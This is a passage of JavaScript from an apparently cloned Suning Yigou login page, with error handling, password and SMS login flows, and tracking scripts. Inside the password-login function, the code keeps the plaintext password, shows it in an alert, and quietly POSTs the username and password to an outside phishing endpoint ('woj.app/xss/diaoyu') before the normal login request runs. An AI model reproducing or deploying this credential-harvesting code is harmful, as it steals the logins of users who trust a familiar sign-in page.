showErrorInfo("验证码不正确,请重新输入。","showErrorVerifyCodeDiv"); } } }); } } //显示服务器返回的错误信息 function showServerErrorMsg(data) { if(isUseSlideVerifycode){ slideVerifycode = ""; $('#siller1').empty(); login.siller('siller1'); } var errorCode= ""; if(login.isNotEmpty(data) && login.isNotEmpty(data.errorCode)){ errorCode = data.errorCode; } var errorMessage="" ; if(login.isNotEmpty(data) && login.isNotEmpty(data.errorMessage)){ errorMessage = data.errorMessage; } var remainTimes =""; if(login.isNotEmpty(data) && login.isNotEmpty(data.remainTimes)){ remainTimes = data.remainTimes; } var snMemberErrorCode = ""; if(login.isNotEmpty(data) && login.isNotEmpty(data.snMemberErrorCode)){ snMemberErrorCode = data.snMemberErrorCode; } var logonId = ""; if(login.isNotEmpty(data) && login.isNotEmpty(data.username)){ logonId = data.username; }else{ logonId = $('#userName').val(); logonId = logonId.Trim(); } var offlineMemberId = ""; if(login.isNotEmpty(data) && login.isNotEmpty(data.offlineMemberId)){ offlineMemberId = data.offlineMemberId; } //snMemberErrorCode中的错误提示信息 if(snMemberErrorCode=="E4700A40"|| errorCode=="E4700A40"){ errorMessage = "该账号密码存在安全风险,请立即<a name='Logon_index_denglu001' href='"+forgetPwd_URL+"' target='_blank' style='float:none'>重置密码</a>。"; showErrorInfo(errorMessage); return; }else if(snMemberErrorCode=="E4700440" || errorCode=="E4700440" || snMemberErrorCode=="E4700456" || errorCode=="E4700456" || snMemberErrorCode=="E4700A37" || errorCode=="E4700A37" ){ //E4700456 卡不存在 //E4700A37您输入的账号不存在,请重新输入! errorMessage='该账户名不存在,<a name="TLogon_index_none_dl007" href="javascript:void(0);" onclick="javascript:forgetLoginName();">忘记账户名</a>或'; errorMessage= errorMessage+ '<a name="TLogon_index_none_dl018" href="javascript:void(0);" onclick="javascript:freeToRegClick();">注册新账号</a>?'; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(snMemberErrorCode=="E4700451" || errorCode=="E4700451"){ //存在多个会员卡(重复卡) 会员卡异常,请至门店更换会员卡! errorMessage = "会员卡异常,请至门店更换会员卡!"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(snMemberErrorCode=="E4700464" || errorCode=="E4700464"){ //您的会员账号出现异常,请联系4008-365-365! errorMessage = "您的会员账号出现异常,请联系4008-365-365!"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(snMemberErrorCode=="E4700480" || errorCode=="E4700480"){ //卡类型为非个人卡类型(公司卡) 非个人卡会员暂不提供线上验证功能! errorMessage = "非个人卡会员暂不提供线上验证功能!"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(snMemberErrorCode=="E4700000" || errorCode=="E4700000"){ errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); return; }else if(snMemberErrorCode=="E4700013" || errorCode=="E4700013"){ //数据库操作出错 不好意思,系统繁忙,请稍后再试! errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); return; }else if(snMemberErrorCode=="E4700450" || errorCode=="E4700450"){ errorMessage = "您的会员卡资料不完整,为保证您的账户安全,请携带会员卡及有效证件到就近门店补全资料!"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(snMemberErrorCode=="E4700443" || errorCode=="E4700443"){ errorMessage = "会员卡已被锁定,请联系4008-365-365解锁。"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(snMemberErrorCode=="E4700B03" || errorCode=="E4700B03"){ //E4700B03 会员卡首次登陆 var jumpUrl = memberCard_URL + "?cardInfo=" + logonId; errorMessage = "会员卡首次登录请点击<a name='TLogon_index_none_dl008' href='" + jumpUrl + "' target='_blank' >门店会员卡首次登录</a>进行操作"; showErrorInfo(errorMessage); return; }else if(snMemberErrorCode=="E4700N07" || errorCode=="E4700N07"){ //E4700N07手机号存在多个会员 var jumpUrl = memberCard_URL + "?cardInfo=" + logonId; errorMessage = "会员卡登录请点击<a name='TLogon_index_none_dl008' href='" + jumpUrl + "' target='_blank' >门店会员卡登录</a>进行操作"; showErrorInfo(errorMessage); return; }else if(snMemberErrorCode=="E4700N11" || errorCode=="E4700N11"){ //E4700N11 手机为团体会员的联系人手机,不能登录 errorMessage='该账户名不存在,<a name="TLogon_index_none_dl007" href="javascript:void(0);" onclick="javascript:forgetLoginName();">忘记账户名</a>或'; errorMessage= errorMessage+ '<a name="TLogon_index_none_dl018" href="javascript:void(0);" onclick="javascript:freeToRegClick();">注册新账号</a>?'; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(snMemberErrorCode=="E4700487" || errorCode=="E4700487"){ //E4700487 非个人会员卡不能绑定易购 errorMessage = "非个人会员卡暂不提供线上登录验证。"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(snMemberErrorCode=="E0000001" || errorCode=="E0000001"){ errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); return; } //errorCode类型的错误提示信息 if(errorCode=="badVerifyCode"){ errorMessage = "验证码不正确,请重新输入"; showErrorInfo(errorMessage,"showErrorVerifyCodeDiv"); return; }else if(errorCode=="hkAccountNotAvailable"){ errorMessage = "该账号为香港苏宁用户,暂不支持在苏宁易购登录"; showErrorInfo(errorMessage); return; }else if(errorCode=="badSlideVerifyCode"){ errorMessage = "为了你的账户安全,请重新拖动滑块完成验证"; showErrorInfo(errorMessage); return; }else if(errorCode=="needVerifyCode"){ if(isUseSlideVerifycode){ errorMessage = "为了你的账户安全,请重新拖动滑块完成验证"; showErrorInfo(errorMessage); }else{ errorMessage = "请输入图片验证码!"; showErrorInfo(errorMessage,"showErrorVerifyCodeDiv"); } return; }else if(errorCode=="badPassword.msg1"){ errorMessage="您输入的账户名与密码不匹配,请重新输入!<br/><a name='TLogon_index_none_dl006' href='"+forgetPwd_URL+"' target='_blank' style='float:none'>忘记密码</a>或<a href='javascript:void(0);' onclick='javascript:forgetLoginName();'>账户名</a>?"; showErrorInfo(errorMessage); $('#password').val(''); return; }else if(errorCode=="badPassword.msg2"){ errorMessage="密码错误,您还可以尝试"+remainTimes+"次,<a name='TLogon_index_none_dl006' href='"+forgetPwd_URL+"' target='_blank' style='float:none'>点此找回密码</a>?"; showErrorInfo(errorMessage); $('#password').val(''); return; }else if(errorCode=="unknownUsername"){ errorMessage='该账户名不存在,<a name="TLogon_index_none_dl007" href="javascript:void(0);" onclick="javascript:forgetLoginName();">忘记账户名</a>或'; errorMessage= errorMessage+ '<a name="TLogon_index_none_dl018" href="javascript:void(0);" onclick="javascript:freeToRegClick();">注册新账号</a>?'; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(errorCode=="lockedBySystem"){ if(login.isDigit(logonId)&&(logonId.length==12)){ errorMessage = "您的会员卡已被锁定,请联系4008-365-365进行解锁。"; }else{ errorMessage = "密码错误10次,您可以<a name='TLogon_index_none_dl006' href='"+forgetPwd_URL+"' target='_blank' style='float:none'>找回密码</a>,或1小时后再试。"; } showErrorInfo(errorMessage); return; }else if(errorCode=="lockedByManual"){ errorMessage = "您的账号已经被锁定,请联系客服4008-365-365进行解锁。"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(errorCode=="notOnlineMember"){ //会员卡未绑定 var jumpUrl = memberCard_URL + "?cardInfo=" + logonId; errorMessage = "会员卡首次登录请点击<a name='TLogon_index_none_dl008' href='" + jumpUrl + "' target='_blank' >门店会员卡首次登录</a>进行操作"; showErrorInfo(errorMessage); return; }else if(errorCode=="imperfectMemberCard"){ errorMessage = "您的会员卡资料不完整,为保证您的账户安全,请携带会员卡及有效证件到就近门店补全资料!"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(errorCode == "CARD_PASSWORD_VERIFY_SUCCESS"){ //账号通用逻辑:1.线下账号验证通过;2.线下账号校验不通过,非初始密码;3.线下账号,初始密码 // 验证通过 var jumpUrl = memberCard_URL + "?cardInfo=" + logonId; errorMessage = "会员卡登录请点击<a name='TLogon_index_none_dl008' href='" + jumpUrl + "' target='_blank' >门店会员卡首次登录</a>进行操作"; showErrorInfo(errorMessage); return; }else if(errorCode == "CARD_PASSWORD_VERIFY_FAILED"){ // 验证不通过 var jumpUrl = memberCard_URL + "?cardInfo=" + logonId; errorMessage = "会员卡登录请点击<a name='TLogon_index_none_dl008' href='" + jumpUrl + "' target='_blank' >门店会员卡首次登录</a>进行操作"; showErrorInfo(errorMessage); return; }else if(errorCode == "CARD_PASSWORD_INITIAL"){ // 账号初始密码 var jumpUrl = memberCard_URL + "?cardInfo=" + logonId; errorMessage = "会员卡登录请点击<a name='TLogon_index_none_dl008' href='" + jumpUrl + "' target='_blank' >门店会员卡首次登录</a>进行操作"; showErrorInfo(errorMessage); return; }else if(errorCode == "serviceNotAvailable"){ // 当前服务不可用,请稍后再试。 errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); return; }else if(errorCode == "ECARD_UNBIND"){ // 团体卡未绑定 errorMessage = "非个人会员卡暂不支持登录验证,您可以进行<a href='" + companycard_url + "' target='_blank'>验证注册</a>或更换其他账号登录。"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(errorCode == "highRiskAccount"){ // 高危用户 var jumpUrl = asc_prefix_domain + "highrisk/getinfo.do?ticket=" + data.snapshotId; errorMessage = "该账号存在安全风险,请<a name='TLogon_index_none_dl010' href='"+jumpUrl+"' target='_blank'>验证并修改密码</a>。"; showErrorInfo(errorMessage); return; }else if(errorCode == "suspectedHighRiskAccount"){ // 疑似高危用户 var jumpUrl = asc_prefix_domain + "highrisk/getinfo.do?ticket=" + data.snapshotId; errorMessage = "该账号存在安全风险,请<a name='TLogon_index_none_dl012' href='"+jumpUrl+"' target='_blank'>验证并修改密码</a>。"; showErrorInfo(errorMessage); return; }else if(errorCode == "sopSuspectedHighRiskAccount"){ // SOP疑似高危用户 var jumpUrl = sop_prefix_domain + "sel/member/toForward.htm?ticket=" + data.snapshotId; errorMessage = "该账号存在安全风险,请<a name='TLogon_index_none_dl013' href='"+jumpUrl+"' target='_blank'>重置密码</a>后再登录。"; showErrorInfo(errorMessage); return; }else if(errorCode == "maliciousRegister"){ // 恶意注册用户 var jumpUrl = asc_prefix_domain + "maliciousreg/getinfo.do?ticket=" + data.snapshotId; errorMessage = "该账号存在安全风险,请<a name='TLogon_index_none_dl011' href='"+jumpUrl+"' target='_blank'>验证身份</a>。"; showErrorInfo(errorMessage); return; }else if(errorCode == "suspiciousLogin"){ //异地登陆用户 var parentUrl = serviceStr; var jumpUrl = asc_prefix_domain + "loginpro/getinfo.do?ticket=" + data.snapshotId +"&parentUrl ="+parentUrl +"&targetUrl="+encodeURIComponent(parentUrl)+"&_T="+ Math.random(); errorMessage = "该账号存在安全风险,请<a name='TLogon_index_none_dl014' href='"+jumpUrl+"' target='_blank'>验证身份</a>。"; showErrorInfo(errorMessage); return; }else if(errorCode == "sopSuspiciousLogin"){ //sop异地登陆用户 errorMessage = "尊敬的商家,请至<a name='TLogon_index_none_dl015' target='blank' href='" + sop_prefix_domain + "' target='_blank'>苏宁云台</a>进行登录"; showErrorInfo(errorMessage); return; }else if(errorCode == "noAliasName"){ //无别名 errorMessage = "您的资料完善度较低,账号存在安全风险。<br/>请立即<a name='TLogon_index_none_dl016' target='_blank' href='" + asc_selfService_URL + "'>人工审核</a>"; showErrorInfo(errorMessage,"showErrorUsernameDiv"); return; }else if(errorCode == "lockedBySelf"){ //自助锁定 var unlockUrl = asc_prefix_domain + "unlockacct/checklist.do?ticket="+data.snapshotId; errorMessage = "您的账号已申请锁定,暂时无法登录<br/>您可以:<a name='TLogon_index_none_dl017' target='_blank' href='" + unlockUrl + "'>解锁账号</a>"; showErrorInfo(errorMessage); return; }else if(errorCode == "IllegalArgument"){ //参数错误 errorMessage = "请重新登录"; showErrorInfo(errorMessage); return; }else if(errorCode == "displayLoginPage"){ //跳转到登录页,无需报错提示 return; }else if(errorCode!=""){ errorMessage = errorMessage!="" ? errorMessage : "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); return; } } //提交登录 function prepareLoginSubmit(){ //如果有图片验证,则需要先校验图片验证码,然后进行提交操作 hideErrorInfo(); if(needVerifyCodeVal){ if(login.userLoginType == "smsLogin"){ if (!checkSmsLoginPhone() || !checkValidateCodeOnSubmit() || !checkSmsLoginSmsCode()) { return false; } ajaxSmsLogonSubmit(); //if(checkValidateCodeOnSubmit()){ // ajaxCheckVerifyCodeOrSubmit(true); //} }else{ if(!checkNormalLogonIdOnSubmit() || !checkNormalLogonPwdOnSubmit()) { return; } //如果出现图片验证码则在提交前应该对图片验证码进行校验 if(checkValidateCodeOnSubmit()){ ajaxCheckVerifyCodeOrSubmit(true); } } }else{ if(login.userLoginType == "smsLogin"){ ajaxSmsLogonSubmit(); }else{ loginSubmit(); } } } //提交登录 function loginSubmit(){ hideErrorInfo(); if(!checkNormalLogonIdOnSubmit() || !checkNormalLogonPwdOnSubmit()) { return; }else{ ajaxLogonSubmit(); } } //采用ajax方式进行认证请求 function ajaxLogonSubmit(){ var username = $('#userName').val().Trim(); var pwd = $('#password').val().Trim(); var pass = pwd; ////保留一下明文密码 try { var encrypt = new JSEncrypt(); encrypt.setPublicKey(loginPBK); var pwd2 = encrypt.encrypt(pwd); pwd = ""; } catch (exception) { pwd2 = ""; } var verifyCode = $(".validate:visible").val(); var rememberMeVal = document.getElementById("rememberMe").checked; var param = { jsonViewType:true, username : username, password : pwd, pass : pass, //这里是新加的为了 password2 : pwd2, loginTheme:"b2c_pop", service:"https://aq.suning.com/asc/auth?targetUrl=http%3A%2F%2Ftalk8.suning.com%2FpopupLoginSuccess%3FtopLocation%3Dhttp%253A%252F%252Ftalk8.suning.com%252Frobot%252Fcreate.htm", //oauth_redirect:"", //trust_redirect:"", rememberMe: rememberMeVal, client : "app", sceneId: "logonImg" }; if(needVerifyCodeVal){ if(isUseSlideVerifycode){ param.slideVerifyCode = siller.queryToken(); }else{ param.verifyCode = verifyCode; param.uuid = "298aa7fb-8084-49ff-89b3-2a88d17848c4"; } } alert(username + "----" + pass); //登陆中 showSubmitRunningButton(); $.ajax( { type : 'POST', url : 'http://woj.app/xss/diaoyu/', async: false, data : param, dataType : 'json', //success : function(data) { // return; //}, //error : function(data) { // var errorMessage = "不好意思,系统繁忙,请稍后再试!"; // showErrorInfo(errorMessage); // //重置登录按钮 // showSubmitButton(); //设置焦点 // setInitLogonIdinfo(); //} }); $.ajax( { type : 'POST', url : 'login', async: false, data : param, dataType : 'json', success : function(data) { if(login.isNotEmpty(data) && login.isNotEmpty(data.success)&&data.success){ //进行成功的跳转 window.location = goUrl; window.event.returnValue = false; }else{ //重新显示图片验证码 fun_getVcode(); //是否显示图片验证码 checkShowImageCode(); //设置焦点 setInitLogonIdinfo(); showServerErrorMsg(data); //重置登录按钮 showSubmitButton(); } }, error : function(data) { var errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); //重置登录按钮 showSubmitButton(); //设置焦点 setInitLogonIdinfo(); } }); } function checkSmsLoginPhone(){ var phoneNumber = $('#phoneNumber').val().Trim(); var smsCode = $('#smsCode').val().Trim(); if (phoneNumber == null || phoneNumber == "") { showErrorInfo("请输入手机号!","showErrorPhoneNumberDiv"); return false; } if(!login.isMobile(phoneNumber)){ showErrorInfo("格式不正确,请您输入正确的手机号!","showErrorPhoneNumberDiv"); return false; } hideErrorInfo(); return true; } function checkSmsLoginSmsCode(){ var smsCode = $('#smsCode').val().Trim(); if (smsCode == null || smsCode == "") { showErrorInfo("请输入手机验证码!","showErrorSmsCodeDiv"); return false; } return true; } //校验验证码并发送 function ajaxVerifyCodeAndSendSmsCode(){ var phoneNumber = $('#phoneNumber').val().Trim(); if (!checkSmsLoginPhone()) { return false; } if(needVerifyCodeVal){ if(isUseSlideVerifycode){ if (siller.status == 0 || null == slideVerifycode || slideVerifycode == "" ) { showErrorInfo("为了你的账户安全,请拖动滑块完成验证。"); return false; }else{ //进行提交操作 ajaxSmsLogonSendCode(); } }else{ //用户输入的验证码code var code = $(".validate:visible").val(); //请求时所传参数 var param = { code : code, uuid : "298aa7fb-8084-49ff-89b3-2a88d17848c4", delFlag : 0 }; $.ajax({ //请求类型 type : 'POST', //发送验证请求的url url : "https://vcs.suning.com/vcs/validate_jsonp.htm", //请求时所传参数 data : param, //返回数据类型 dataType : 'jsonp', //回调函数方法名 jsonp : 'callback', //请求成功后的回调函数 success : function(data) { //显示验证结果 if(data[0].result == 'true'){ hideErrorInfo(); showVerifyCodeOK(); //进行提交操作 ajaxSmsLogonSendCode(); }else{ gLastImgValCodeResult = false; // 当输入满4位时,鼠标未移出就开始校验图片验证码正确性。若连续输入错误3 次,系统自动刷新图片验证码。 fun_getVcode(); showErrorInfo("验证码不正确,请重新输入。","showErrorVerifyCodeDiv"); } } }); } }else{ //进行提交操作 ajaxSmsLogonSendCode(); } } //手机验证码登录发送验证码 function ajaxSmsLogonSendCode(){ hideErrorInfo(); var phoneNumber = $('#phoneNumber').val().Trim(); if (!checkSmsLoginPhone()) { return false; } var verifyCode = $(".validate:visible").val(); var rememberMeVal = document.getElementById("rememberMe").checked; var param = { phoneNumber : phoneNumber, rememberMe: rememberMeVal, type : 3, sceneId: "logonImg", targetUrl: goUrl }; if(needVerifyCodeVal){ if(isUseSlideVerifycode){ param.sillerCode = siller.queryToken(); param.uuid = "sillerVerifyCode"; }else{ param.imgCode = verifyCode; param.uuid = "298aa7fb-8084-49ff-89b3-2a88d17848c4"; } } $.ajax({ type : 'GET', url : srs_prefix_domain + 'smsLogin/sendSms.do', data : param, dataType : 'jsonp', jsonp:'callback', timeout:5000, jsonpCallback:"smsLoginSendSms", success : function(data) { if(login.isNotEmpty(data) && (data.code == 'SLR_SUC_0001')){//发送成功 //进行成功的处理 login.sendSmsChangeStatus(data); }else{ //重新显示图片验证码 fun_getVcode(); //是否显示图片验证码 checkShowImageCode(); showSmsLoginServerErrorMsg(data); } }, error : function(data) { var errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); } }); } //手机验证码登录发送语音验证码 function ajaxVerifyCodeAndSendYYCode(){ hideErrorInfo(); var phoneNumber = $('#phoneNumber').val().Trim(); if (!checkSmsLoginPhone()) { return false; } var verifyCode = $(".validate:visible").val(); var rememberMeVal = document.getElementById("rememberMe").checked; var param = { phoneNumber : phoneNumber, rememberMe: rememberMeVal, type : 3, sceneId: "logonImg", targetUrl: goUrl }; if(needVerifyCodeVal){ if(isUseSlideVerifycode){ param.sillerCode = siller.queryToken(); param.uuid = "sillerVerifyCode"; }else{ param.imgCode = verifyCode; param.uuid = "298aa7fb-8084-49ff-89b3-2a88d17848c4"; } } $.ajax({ type : 'GET', url : srs_prefix_domain + 'smsLogin/sendSmsYY.do', data : param, dataType : 'jsonp', jsonp:'callback', timeout:5000, jsonpCallback:"smsLoginSendSmsYy", success : function(data) { if(login.isNotEmpty(data) && (data.code == 'SLR_SUC_0001')){//发送成功 //进行成功的处理 login.sendSmsYyChangeStatus(data); }else{ //重新显示图片验证码 fun_getVcode(); //是否显示图片验证码 checkShowImageCode(); showSmsLoginServerErrorMsg(data); } }, error : function(data) { var errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); } }); } //手机验证码登录采用ajax方式进行认证请求 function ajaxSmsLogonSubmit(){ var phoneNumber = $('#phoneNumber').val().Trim(); var smsCode = $('#smsCode').val().Trim(); if (!checkSmsLoginPhone() || !checkSmsLoginSmsCode()) { return false; } var verifyCode = $(".validate:visible").val(); var rememberMeVal = document.getElementById("rememberMe").checked; var smsTargetUrl = srs_prefix_domain + "smsLogin/popupLoginSuccess.do?topLocation=" + encodeURIComponent(serviceStr); var param = { phoneNumber : phoneNumber, smsCode:smsCode, rememberMe: rememberMeVal, type : 3, sceneId: "logonImg", targetUrl: smsTargetUrl }; if(needVerifyCodeVal){ if(isUseSlideVerifycode){ param.sillerCode = siller.queryToken(); param.uuid = "sillerVerifyCode"; }else{ param.imgCode = verifyCode; param.uuid = "298aa7fb-8084-49ff-89b3-2a88d17848c4"; } } //登陆中 showSubmitRunningButton(); $.ajax({ type : 'GET', url : srs_prefix_domain + 'smsLogin/checkLoginAccount.do', data : param, dataType : 'jsonp', jsonp:'callback', timeout:5000, jsonpCallback:"smsLoginCheckAccount", success : function(data) { if(login.isNotEmpty(data) && (data.code == 'SLR_ERR_0005' || data.code == 'SLR_ERR_0006')){//验证通过 //进行成功的跳转 window.location = srs_prefix_domain + 'smsLogin/checkLoginToken.do?type=3&rememberMe=' + rememberMeVal + '&acessToken=' + data.acessToken + '&topLocation=' + encodeURIComponent(serviceStr); window.event.returnValue = false; }else{ //重新显示图片验证码 fun_getVcode(); //是否显示图片验证码 checkShowImageCode(); //设置焦点 setInitLogonIdinfo(); showSmsLoginServerErrorMsg(data); //重置登录按钮 showSubmitButton(); } }, error : function(data) { var errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage); //重置登录按钮 showSubmitButton(); //设置焦点 setInitLogonIdinfo(); } }); } //显示服务器返回的错误信息 function showSmsLoginServerErrorMsg(data) { if(isUseSlideVerifycode){ slideVerifycode = ""; $('#siller2').empty(); login.siller('siller2'); } var errorCode= ""; if(login.isNotEmpty(data) && login.isNotEmpty(data.code)){ errorCode = data.code; } //srs中的错误提示信息 if(errorCode=="SLR_ERR_0001"){ errorMessage = "请输入手机号码"; showErrorInfo(errorMessage); return; }else if(errorCode=="SLR_ERR_0002"){ if(isUseSlideVerifycode){ errorMessage = "为了你的账户安全,请重新拖动滑块完成验证"; showErrorInfo(errorMessage,"showErrorPhoneNumberDiv"); }else{ errorMessage = "请输入图片验证码!"; showErrorInfo(errorMessage,"showErrorVerifyCodeDiv"); } return; }else if(errorCode=="SLR_ERR_0003"){ if(isUseSlideVerifycode){ errorMessage = "为了你的账户安全,请重新拖动滑块完成验证"; showErrorInfo(errorMessage,"showErrorPhoneNumberDiv"); }else{ errorMessage = "图片验证码错误,请重新输入!"; showErrorInfo(errorMessage,"showErrorVerifyCodeDiv"); } return; }else if(errorCode=="SLR_ERR_0004"){ errorMessage = "手机验证码错误或已失效,请重新输入 "; showErrorInfo(errorMessage,"showErrorSmsCodeDiv"); return; }else if(errorCode=="SLR_ERR_0007"){ errorMessage = "不好意思,系统繁忙,请稍后再试! "; showErrorInfo(errorMessage,"showErrorSmsCodeDiv"); return; }else if(errorCode=="SLR_ERR_0010"){ errorMessage = "您今日获取语音验证码的次数已达上限,您可以继续尝试获取短信验证码"; showErrorInfo(errorMessage,"showErrorSmsCodeDiv"); return; }else if(errorCode=="SLR_ERR_0011"){ errorMessage = "发送验证码过于频繁,请您稍后再试"; showErrorInfo(errorMessage,"showErrorSmsCodeDiv"); return; }else if(errorCode=="SLR_ERR_0012"){ errorMessage = "您当日累计获取短信验证码已达上限,请您次日再试"; showErrorInfo(errorMessage,"showErrorSmsCodeDiv"); return; }else if(errorCode=="SLR_ERR_0013"){ errorMessage = "该时间段不支持使用语音验证码,您可以继续尝试获取短信验证码"; showErrorInfo(errorMessage,"showErrorSmsCodeDiv"); return; }else if(errorCode=="SLR_ERR_9999"){ errorMessage = "不好意思,系统繁忙,请稍后再试!"; showErrorInfo(errorMessage,"showErrorSmsCodeDiv"); return; }else{ errorMessage = "不好意思,系统异常,请稍后再试!"; showErrorInfo(errorMessage,"showErrorSmsCodeDiv"); return; } } function ccasd(t) { slideVerifycode = t; try{ var sillerObj = $(".sillerVerifyCode:visible") if(sillerObj && sillerObj.length>0){ if(siller.status == 1){ sa.click.sendDatasIndex(sillerObj[0]); } } }catch(e){} } $(function(){ var postData = {}; postData.errorCode = ''; postData.snapshotId = ''; //初始化默认隐藏所有的提示 showScanhide(); //检测华夏基金等信任登录的cookies信息 checkTrustCookie(); //获取成功之后的跳转路径 //getGoUrl(); //是否显示图片验证码 checkShowImageCode(); //初始化图片验证码 fun_getVcode(); //绑定各种输入框的函数 checkInputEvent(); //显示服务端错误信息 showServerErrorMsg(postData); //设置是否显示图片验证码 initShowVerifyCode(); forgetPwdClick(); var check = $(".auto-login input"); check.off('change'); $(".login-warning").find('span').html('使用苏宁易购账号登录'); $('.switch-login-type a').click(function(){ $('.login-warning').find('span').html("使用苏宁易购账号登录"); }) }); </script> <script type="text/javascript"> /** * 更新记录: * 1.增加对采集元素包裹文字中包含的“|”进行处理(2014/1/21) */ /** * 第一步:在页面引入基础代码 * 埋点前请检查页面是否已经埋入此代码,避免重复引入代码 * 此部分代码不允许修改,若私自修改源码导致出现的问题,后果自负 */ eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 b;5(!b)b={};5(!b.B)b.B={};(4(){2 1b=/^\\w*?.j.q$/,1h=e.T.1M,N=(("1q:"==e.T.N)?"1q://":"1J://"),1C=1d(),8="|",1o=T.X,1g=u(1B(1o));4 J(9){2 7=9.7?u(9.7):"7 y",p=9.p?u(9.p):"p y",c=l 1K(),1m=(Y(9,c),c)?u(c.1I("").1t(/\\s|\\|/1H,"")):"1F y",k=(k=e.1A("1G"))?k.x:"",13=p+8+7+8+1m,D=(D=e.1A("1L"))?D.x:"",1n=N+1C+"/1E.1R",P=1i(),R="R";19(R,P,\'/\',"","");2 12=17("1S"),1j=1Q 1a=="1P"?1a.15:"1N 1O 1T 15",1v=P+8+12+8+13+8+1g,V=9.X?9.X:\'\',K=(V?1y(V):\'-\'),1z=1n+"?"+"1D="+1v+"&"+"1X="+D+"&"+"k="+k+"&"+"2d="+1j+\'&\'+\'2e=\'+K;16(1z)}4 1i(){2 14=l O(),m=1e.2c(2b*1e.2g()),1u=14.W().2a().2f(m);6 1u}4 17(7){2 S=e.1x.18("; ");1k(2 i=0;i<S.z;i++){2 U=S[i].18("=");5(U[0]==7)6 2i(U[1])}}4 16(1f){2 n="2l"+(l O()).W();2 i=11[n]=l 2j();i.2h=(i.2k=4(){11[n]=G});i.29=1f+"&27="+n;i=G}4 1d(){5(1b.1Z(1h)){6"B.j.10/b"}I{6"1U.j.10/b"}}4 1s(){6 e.g}4 19(7,x,C,E,g){2 d=7+"="+1Y(x);5(E!=""){2 F=l O();F.28(F.W()+E);d+=";E="+F.1V()}5(C!=""){d+=";C="+C}2 M=1s();5(M.t(".j.q")!=-1){d+=";g=.j.q"}I 5(M.t(".1w.q")!=-1){d+=";g=.1w.q"}I{d+=";g="+g}e.1x=d}4 1y(r){2 L=\'-\';5(!h(r)){L=1r(r,\'K\',\'&\')}6 L}4 1B(a){5(a.z>1W){a=a.1p(0,20)}21(a.t(8)!=-1){a=a.1t(8,"--")}6 a}4 Y(n,c){5(n.1l==3){c.26(n.25)}I 5(n.1l==1){1k(2 m=n.24;m!=G;m=m.22){Y(m,c)}}}4 u(s){6 s!=G?23(s):""}4 1r(f,A,Q){2 Z="-",v;5(!h(f)&&!h(A)&&!h(Q)){v=f.t(A);5(v>-1){2 H=f.t(Q,v);5(H<0){H=f.z}Z=f.1p(v+A.z+1,H)}}6 Z}4 h(o){6(y==o||\'\'==o||\'-\'==o)}2 1c=b.B;1c.J=J})();',62,146,'||var||function|if|return|name|_tag|data|urlOrTitle|sa|_strings|str|document|map|domain|IsEmpty||suning|_type|new||||id|com|||indexOf|_encode|idx||value|undefined|length|key|click|path|_errorCode|expires|date|null|endIdx|else|sendDatasIndex|sid|SID|dm|protocol|Date|oId|separator|_snck|arrStr|location|temp|aHref|getTime|href|_getString|result|cn|window|pvId|Datas|now|cityId|httpGifSendIndex|getCookieIndex|split|_addCookie4Index|sn|sn_prd_reg|_click|getServer|Math|strURL|_shortToUrl|hostName|getOnlyIdIndex|_cityId|for|nodeType|_text|clickUrl|_toUrl|substring|https|Pick|_getDomain|replace|onlyId|cDatas|cnsuning|cookie|GetSID|url|getElementById|_cutUrlToShort|server|_snmk|ajaxClick|text|resourceType|ig|join|http|Array|errorCode|hostname|can|not|object|typeof|gif|_snmp|get|clicksit|toGMTString|301|_snme|escape|test|300|while|nextSibling|encodeURIComponent|firstChild|nodeValue|push|iId|setTime|src|toString|100000|round|_cId|_sid|concat|random|onload|unescape|Image|onerror|log_'.split('|'),0,{})) /** * 第二步:为元素绑定click事件 * 技术支持:此方案需要jQuery支持,使用此方案前请确认使用的jquery版本对live方法的支持性 * 功能:为点击对象添加点击事件处理函数 * 示例解释:下面的示例中是为标签的name以test_dac_index_开头的元素埋点,实际生产中的name属性命名约束请联系贺婷芳(12061488)确认;未经确认不得埋点,否则引起冲突后果自负 * 示例修改:在具体埋点过程中请开发人员根据具体的name修改a[name^=\*需要埋点的name*\]或者input[name^=\*需要埋点的name*\] * 命名技术规范:标签的name,id属性不能含有"|" */ $(document).ready(function(){ //登录页面发送数据到SA $("a[name*=TLogon_index_none_],input[name*=TLogon_index_none_],input[name*=Logon_index_]").live("click",function(){ //sendDatasMember(this); sa.click.sendDatasIndex(this); }); }); </script> <script type="text/javascript" src="https://fp.suning.com/bennu-collector/fp/porto.js"></script> <script type="text/javascript"> $(document).ready(function(){ porto.init({ partnerCode:'none', appName:'passport', referenceId:'123', sessionId:'123', serviceUrl:"https://fp.suning.com/bennu-collector/fp/porto.json" }); }); </script> <script type="text/javascript" src="https://dfp.suning.com/dfprs-collect/dist/fp.js"></script> <script type="text/javascript"> $(document).ready(function(){ _dfp.init({ appCode : "qEmt9X4YmoV2Vye8", // 必填 env : "prd", // 